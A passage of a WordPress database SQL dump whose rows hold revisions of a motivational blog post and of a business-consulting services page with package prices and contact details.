because you believe more in the compelling evidence of  your limitations than you do in your own unseen greatest potential? This is a defining moment in life.  This is the time to break free from your perceived limitations and begin! Are you ready to begin. If so,  do it NOW with what you have.  Trust that you will accomplish what you desire with the help of the unseen forces that are gathering and rallying around you. Make a decision, move forward and don''t look back.\r\n\r\nThat''s what I am doing right now. I am beginning to plant a new life.  A life that is moving in a direction that is more along the lines of my purpose for being here in the first place. I am here to inspire people to live fully from their white hot center. That''s what this blog is about.  As I find things of interest that inspire me, I''ll pass them along to my readers so they may experience equal or greater inspiration.  And I am well-equipped for this purpose because it is MY purpose. I use MY gifts in service to others. I have discovered it within myself. Where it has always been.\r\n\r\nSo begin. You don''t  need to know how it will come to be... just begin in an easy and relaxed manner. I am finding this experience of writing to be completely wild and exhilarating.  I have some new ideas that inspire me to continue to move forward despite whatever fear and doubt shows up. This venue is one example.  It''s my prototype. I am putting it out there. I won''t let fear stop me from doing this. I have never done this before...so what!  I am hoping to make a lot of mistakes and mis-steps because that''s how I know I am growing and expanding. Expansion is in harmony with the direction the universe is going. We grow or begin to die slowly. It is always a choice.\r\n\r\nWhatever it is for you, begin immediately! Don''t leave this life with your song still inside you.', 'Are you ready to begin?', 0, 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you...\r\n', 'inherit', 'open', 'open', '', '31-revision-3', '', '', '2010-04-22 20:33:34', '2010-04-23 03:33:34', '', 31, 'http://www.whitehotcenter.com/2010/04/22/31-revision-3/', 0, 'revision', '', 0),
(765, 2, '2010-04-22 20:45:32', '2010-04-23 03:45:32', '<h2>Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you find yourself exclaiming "hey maybe this idea could work, yeah I see it!" Has that ever happened to you?</h2>\r\n<!--more-->\r\n\r\nOf course it has. Probably many times. You, like me,  may have stopped yourself, doubted yourself, or worse, believed you could not accomplish it at all because you don''t know the right people, don''t have enough money, time, whatever.\r\n\r\n<strong>Most people hold themselves back with three counter productive habits:</strong>\r\n\r\n<strong>They distrust their inner wisdom and doubt they posses an inventive inclination. This renders them forever dependent on the thinking and advice of others.</strong>\r\n\r\n<strong>They lack a long-term plan in alignment with a guiding life purpose. This enables them to stubbornly resist accepting  full responsibility for their own future.</strong>\r\n\r\n<strong>They don''t believe in whatever hope or resourcefulness their own mind gives them about their own potential to radically change their life''s circumstances toward the good they desire.</strong>\r\n\r\nAlmost all us, at one time or another, fear our own potential. One person side-steps a business opportunity because it is too risky. Another, allows a destructive relationship to make them miserable because they don''t want to be alone. Still another rejects an important advocation because they don''t see any usefulness to it. Fear''s general message tells us we are not yet ready to begin to do, be and have the life we desire.\r\n\r\nThe way out of this has little to do with acquiring more technical skill, education or knowledge. We must first have a change of mind about ourselves.  We must expand our awareness. We must allow a process of self-discovery. Fear is natural. It will always be around us anytime we seek to leave what is familiar. We all feel fear at the beginning of some bold endeavor.  There''s no frame of reference when we are at the beginning of something.  Only 2 in 10 people will make the decision to go for what they already see so vividly in their mind. To step forward boldly in faith and belief towards the action that will make the big idea come to life in the physical.  At some point, one must begin. Successful people just seem to know this inherently. There is no hand-wringing. They simply move elegantly toward their goal. Even though they too experience resistance and fear. They do it anyway.\r\n<h2>These times are called life''s defining moments. Welcome them.</h2>\r\nIf you are stuck in fear and crippled by confusion and anxiety, try asking yourself "what am I afraid of losing if I go forward with this idea?"  I know it sounds deceivingly simple, but really, deeply ask yourself this question.  Once you realize  you really don''t have anything to lose and everything to gain,  it makes the fear seem somehow trivial in comparison to the potential good you desire. Any idea that advances you in the direction of your goal must be acted upon. Your inner voice always knows where it must go... listen and trust it!\r\n\r\nIs there something you just know you would be so perfect for? An idea, belief or value that is sacred to you?  Are you on the edge of your comfort zone doubting it can be yours because you believe more in the compelling evidence of  your limitations than you do in your own unseen greatest potential? This is a defining moment in life.  This is the time to break free from your perceived limitations and begin! Are you ready to begin. If so,  do it NOW with what you have.  Trust that you will accomplish what you desire with the help of the unseen forces that are gathering and rallying around you. Make a decision, move forward and don''t look back.\r\n\r\nMake a decision to begin NOW! You don''t need to know how it will come to be... just begin in an easy and relaxed manner.\r\n\r\n<strong>Growth and expansion is in harmony with the direction the universe is going. We grow or begin to die slowly. It is always a choice. Whatever it is for you, begin immediately! Don''t leave this life with your song still inside you.</strong>', 'Are you ready to begin?', 0, 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you...\r\n', 'inherit', 'open', 'open', '', '31-revision-6', '', '', '2010-04-22 20:45:32', '2010-04-23 03:45:32', '', 31, 'http://www.whitehotcenter.com/2010/04/22/31-revision-6/', 0, 'revision', '', 0);
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(766, 2, '2010-04-22 19:36:28', '2010-04-23 02:36:28', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 19:36:28', '2010-04-23 02:36:28', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-66/', 0, 'revision', '', 0),
(767, 2, '2010-04-24 15:05:09', '2010-04-24 22:05:09', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>For 25 years, I have been a marketing strategy and communications consultant to global companies and venture start-ups alike. My clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Herman Miller, Hewlett-Packard, Honda La Z Boy, and Volkswagan USA. I have also worked with dozens of mid size companies and venture-funded start-ups in diverse industries. I''m delighted to offer my nearly three decades of sucessful business building expertise to entrepreneurs and solo professionals who want to take their business and their entire life to the next level.\r\n</strong></span></span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-24 15:05:09', '2010-04-24 22:05:09', '', 138, 'http://www.whitehotcenter.com/2010/04/24/138-revision-67/', 0, 'revision', '', 0),
(768, 2, '2010-04-24 15:07:09', '2010-04-24 22:07:09', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>For 25 years, I have been a marketing strategy and communications consultant to global companies and venture start-ups alike. My clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Herman Miller, Hewlett-Packard, Honda La Z Boy, and Volkswagan USA. I have also worked with dozens of mid size companies and venture-funded start-ups in diverse industries. I''m delighted to offer my nearly three decades of successful business building expertise to entrepreneurs and solo professionals who want insight, inspiration and tools to take their business and their entire life to the next level.  I offer several levels of consulting engagements.\r\n</strong></span></span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-24 15:07:09', '2010-04-24 22:07:09', '', 138, 'http://www.whitehotcenter.com/2010/04/24/138-revision-68/', 0, 'revision', '', 0),
(771, 2, '2010-04-24 15:13:31', '2010-04-24 22:13:31', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provides guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">For over 25 years, I have been a marketing strategy and creative consultant to global companies and venture start-ups alike. My clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Herman Miller, Hewlett-Packard, Honda La Z Boy, and Volkswagan USA. I have also worked with dozens of mid-size companies and venture-funded start-ups in diverse industries. I''m delighted to offer my nearly three decades of successful entrepreneurial and business building expertise to creative entrepreneurs and solo professionals who want insight, inspiration and tools to take their business and their entire life to the next level.  I offer several levels of consulting engagements:<strong>\r\n</strong></span></span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to 